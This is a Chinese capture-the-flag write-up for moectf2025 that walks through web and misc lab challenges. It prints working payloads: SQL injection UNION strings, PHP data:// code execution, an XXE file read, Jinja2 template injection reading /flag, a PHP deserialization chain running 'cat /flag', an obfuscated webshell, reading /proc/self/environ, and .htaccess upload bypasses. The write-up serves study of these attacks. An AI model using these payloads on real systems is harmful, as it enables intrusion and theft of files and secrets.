moectf2025
这是我见过的最新手友好的比赛了,题目比较多,大部分也比较套路
web
0
直接放到浏览器的控制台里
第一章
直接查看页面源码,找到一个jsp文件,里面直接就有flag
第二章
查看页面源码发现了一个/golden_trail路径,GET请求发送它说路径不正,根据它的提示,用HEAD请求,拿到flag。
第三章
根据提示修改level和manifestation的值得到flag
注意这里返回了一个小说解压缩密码
cBrtGRQSKeLvty0@lKyFpU@Z
发现可以解压一个03.zip,看到里面的小说。
第五章
../ 返回上层目录找到flag
第十章
提示flag在flag.txt中,直接抓包访问/flag.txt
Moe笑传之猜猜爆
这里看到页面的js文件中随机生成的随机数randomNumber,判断用户输入数字是否等于它,如果等于则从后端传回flag。
直接控制台输入randomNumber,返回它的值,再输入就行了。
第四章
第一关
bW9lY3Rme0Mw
第二关
bjZyNDd1MTQ3
第三关
本地访问:X-Forwarded-For:127.0.0.1
MTBuNV95MHVy
第四关
X2g3N1BfbDN2
第五关
M2xfMTVfcjM0
第六关
bGx5X2gxOWgh
第七关
fQ==
集合起来进行base64解密
第六章
sql注入
输入1'or'1'='1
第七章
从规定爬虫不允许扫描的文件推出要访问robots.txt
md5碰撞
第九章
存在命令注入漏洞
找到flag
第十二章
蚁剑一句话木马连接
第十七章
php反序列化,原理在于__destruct
这个魔术方法会在对象被销毁时自动调用
我们可以像这样先对php进行序列化,让其在反序列的时候执行我们需要的恶意代码。
先ls /,查看当前目录
发现一个flag文件,cat /flag打开
摸金偶遇FLAG,拼尽全力难战胜
题目是在三秒内破解9位数的摩斯密码,手算当然是不可能的,要写脚本
(() => {
const TICK = 120; // 点数字间隔
/* 1. 劫持 fetch(/get_challenge) */
const _fetch = window.fetch;
window.fetch = function (...args) {
return _fetch.apply(this, args).then(resp => {
const url = String(args[0]);
if (url.includes('/get_challenge')) {
resp.clone().json().then(d => {
if (d.numbers?.length === 9) {
console.log('[+] 拿到 numbers:', d.numbers.join(''));
autoClick(d.numbers);
}
});
}
return resp;
});
};
function autoClick(arr) {
let i = 0;
const next = () => {
if (i === 9) { console.log('[+] 数字点击完成'); return; }
const btn = [...document.querySelectorAll('.inputContentBtnAreaItem')]
.find(b => b.dataset.value == arr[i]);
if (btn) btn.click();
i++;
setTimeout(next, TICK);
};
next();
}
console.log('[+] 劫持已注入,点“开始挑战”即可');
})();
ai写的脚本,直接放进控制台就行了,再按开始按钮,这里注意要把浏览器的隐私端口关掉,不然会把verify的请求拦截。
第十六章
首先看一下它给的源码
这里看到它把flag发到了一个随机命名的flag-*.txt格式的文件中
结合index页面中的会在后面自动加上.php,所以这里优先使用
data://包装器执行代码的方法
查看根目录
/?file=data://text/plain,<?php system('ls -la /');?>
flag-2YWYwq1fmJgQGsfbdrGP04jsBleqfq.txt
读取此文件
/?file=data://text/plain,<?php echo file_get_contents('/flag-2YWYwq1fmJgQGsfbdrGP04jsBleqfq.txt');?>
第一章 神秘的手镯_revenge
根据备份文件的常用格式下载备份文件
因为页面限制不能粘贴,所以我们这里直接控制台
document.getElementById('passwordInput').value = '你要粘贴的万言咒内容';
再因为要发送500次,我们直接利用bp爆破发送个500次
第十三章
嗯,文件上传题
这都已经把限制写出来了。
开始翻笔记,试图唤醒沉睡的记忆
先上传一个正常的jpg文件,拦截之后修改,把它的hex头留下来(绕过FFD8FF),这道题有没有jpg后缀都无所谓(x.php也能行),主要是好像不能一句话木马连接,只能phpinfo显示它的php环境的完整配置,再在里面ctr+f搜索flag
第十章 天机符阵_revenge
一句话总结:简单的xxe
随便输入,它会显示类似于这样的输出
DOMDocument::loadXML()
- 后端使用XML解析器Start tag expected, '<' not found
- 期望XML格式但输入不是有效的XML
说明它期望我们输入的是xml格式的代码,再加上题目中提示的flag.txt
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<contract>
<解析>&xxe;</解析>
</contract>
第十四章 御神关·补天玉碑
一句话总结:又是一道文件上传,这次的重点在于.htaccess文件
简单介绍一下.htaccess是(Apache服务器的目录级配置文件,可以覆盖主服务器的配置,常用于URL重写、访问控制、MIME类型设置等),常见组合就是
好了,看题目
常规先上传一个带着恶意命令的jpg文件
上传一个.htaccess文件,这里的作用主要是讲1.jpg当作php执行,这样就会执行其中的php恶意代码
18 第十八章 万卷诡阁·功法连环
一句话总结:简单的php反序列化
私有属性在序列化时包含空字节%00,这些字符在URL中需要编码,否则会被错误解析。
19 第十九章 星穹真相·补天归源
稍微复杂一点的php反序列化
PersonC中的$name($age)是一个很好的代码执行点,所以我们要在此构造system("cat /flag")
简单写一下
因为$this->age
和$age
没啥关系,所以这里只要$this->name
里没有“flag”就行了
20 第二十章 幽冥血海·幻语心魔
一句话总结:SSTI,服务端模板注入
它给了一个php文件
from flask import Flask, request, render_template, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
if 'username' in request.args or 'password' in request.args:
username = request.args.get('username', '')
password = request.args.get('password', '')
if not username or not password:
login_msg = """
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div>
</div>
"""
else:
login_msg = render_template_string(f"""
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-success'>欢迎: {username}</div></div>
</div>
""")
else:
login_msg = ""
return render_template("index.html", login_msg=login_msg)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
这里的代码直接将用户输入的 username 通过 f-string 插入到模板字符串中,然后使用 render_template_string() 渲染。
所以直接在username中读取文件
?username={{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['__builtins__']['open']('/flag').read()}}&password=test
//外层是 Jinja2 模板语法,内层是 Python 对象操作语法。
aa
08 第八章 天衍真言,星图显圣
省流:sql注入
获取列数
说明查询列数为2,且第一列是可见的
获取数据库名
获取表名
1' UNION SELECT table_name, 1 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1-- -
获取列名
1' UNION SELECT column_name, 1 FROM information_schema.columns WHERE table_schema=database() AND table_name='flag' LIMIT 0,1-- -
获取值
1' UNION SELECT value, 1 FROM flag-- -
11 第十一章 千机变·破妄之眼
首先这里提示GET 参数名由m,n,o,p,q
这五个字母组成(每个字母出现且仅出现一次),长度正好为 5,虽然不清楚字母的具体顺序,但是他知道参数名等于参数值才能进入。
那么就是脚本爆破,找到长度不一样的响应体返回
import requests
from itertools import permutations
import time
# 基础URL - 请替换为实际的题目URL
BASE_URL = "http://127.0.0.1:58578/" # 替换成实际地址
# 所有可能的参数名排列
letters = ['m', 'n', 'o', 'p', 'q']
all_permutations = [''.join(p) for p in permutations(letters)]
print(f"共有 {len(all_permutations)} 种可能的参数名排列")
print("开始爆破...\n")
# 目标响应长度
TARGET_LENGTH = 19704
found = False
for i, param_name in enumerate(all_permutations, 1):
# 构造URL:参数名=参数值
params = {param_name: param_name}
try:
response = requests.get(BASE_URL, params=params, timeout=5)
# 打印进度
print(f"尝试 {i:3d}/120: {param_name} - 状态码: {response.status_code}")
# 检查响应长度是否为目标长度
if len(response.text) == TARGET_LENGTH:
print("\n" + "=" * 50)
print(f"找到目标!响应长度为 {TARGET_LENGTH}")
print(f"成功的URL: {response.url}")
print("-" * 30)
print("响应体内容:")
print(response.text)
print("=" * 50)
found = True
break # 找到后立即退出循环
# 避免请求过快被屏蔽
time.sleep(0.1)
except requests.RequestException as e:
print(f"尝试 {i:3d}/120: {param_name} - 请求错误: {e}")
print("\n爆破完成!")
if not found:
print(f"未找到响应长度为 {TARGET_LENGTH} 的请求。")
发现一个find.php,发现在里面可以访问任意路径,
访问./flag时显示(flag就在这了,看不到吗,是老弟境界不够吧)
那么就是php://filter/convert.base64-encode/resource=./flag.php
因为此文件是一个php文件,解释器会自动执行它,所以返回的并不是一个源文件,而是一个执行结果,所以我们如果要看到php文件的源码就需要php://filter/convert.base64-encode/resource=
读取文件之后进行编码再交给php解释器,这样我们解码之后就能看到完整的源码了。
15 第十五章 归真关·竞时净魔
感觉是文件上传+条件竞争题
但是我上传+访问,访问的时候有时候显示的是200,但是里面的内容仍然是报错的。
19 第十九章_revenge
省流:更加复杂的php反序列化
<?php
// 定义与目标应用同名的空类(仅为生成同名序列化对象)
class Person
{
public $name;
public $id;
public $age;
}
class PersonA extends Person {}
class PersonB extends Person {}
class PersonC extends Person {}
// 构造链
$a = new PersonA();
$a->name = null; // 在 PersonB->__invoke 时会被改写为 PersonC 实例
$a->id = "check"; // PersonA->__destruct 会调用 PersonC->check(...)
$a->age = "cat /flag"; // 要执行的命令(会被传给 check)
$b = new PersonB();
$b->id = $a; // PersonB->id 指向 PersonA
$b->name = "'../flag.php'"; // 在 __invoke 中会被写入 PersonA->age(冗余但保持链一致)
$b->age = null;
$c = new PersonC();
$c->id = $b; // 触发 __wakeup 时会调用 $b($this) -> PersonB::__invoke
$c->name = "file_get_contents"; // PersonC::check 中会调用这个可调用名 -> passthru("cat /flag")
$c->age = null;
// 生成 payload
$payload = serialize($c);
echo "=== urlencoded ===\n";
echo urlencode($payload) . "\n\n";
这个payload是跑得通的,再把相应的命令换一下找到flag,这里的flag在环境信息里,比如下面的
shell_exec -> /bin/cat /proc/self/environ | tr "\0" "\n" | head -n 50 ====
读取和显示服务器环境信息的
这是...Webshell?
可如此访问文件,但找不到flag
?shell=?><?=`/???/??? /????/????/???????.???`?>
misc
misc入门指北
全选文档找到一个设置成白色的字,复制出来就是flag
2048_master
打开是一个exe文件,它说合成16348有惊喜。
用Cheat Engine把方块里的值改掉。跳出flag
Rush
用stegsolve工具查看每一帧,发现一个不全的二维码
用ps工具补全左上角定位符,就可以扫出来了
捂住一只耳
很明显的摩斯密码
ez_LSB
附件里是一个图片由于提示了像素的问题,怀疑是LSB
zsteg -a x.png
对整张 PNG 图片进行 所有已知方式的 LSB(最低有效位)隐写扫描,并输出所有可能藏有信息的地方。
base64解码得到flag
Pyjail 0
它这里说至于 flag 的位置?你可以参考 Web 第十二章(,我们f从第十二章知道flag不在具体的文件里而是在环境变量里,所以是在linux当前的环境变量文件里,也就是
/proc/self/environ
ez_锟斤拷????
锟斤拷 加密,可以找个在线网站直接解密
此编码产生的原因是将GBK和UTF-8编码混用了,所以将UTF-8格式的文件改成GBK格式就行。
weird_photo
说注意CRC,一眼crc宽高爆破
把宽高改高一点
encrypted_pdf
发现一个被加密的pdf,ilovepdf就有pdf解密的功能,放到里面解密
查看文件,发现一串很可以的字符
找到flag
Pyjail 1
这里给出了它的执行代码
def chall():
user_input = input("Give me your code: ")
# 过滤关键字
forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file']
for keyword in forbidden_keywords:
if keyword in user_input:
print(f"Forbidden keyword detected: {keyword}")
return
result = eval(user_input)
但是我们仍然可以通过拼接等方式绕过黑名单。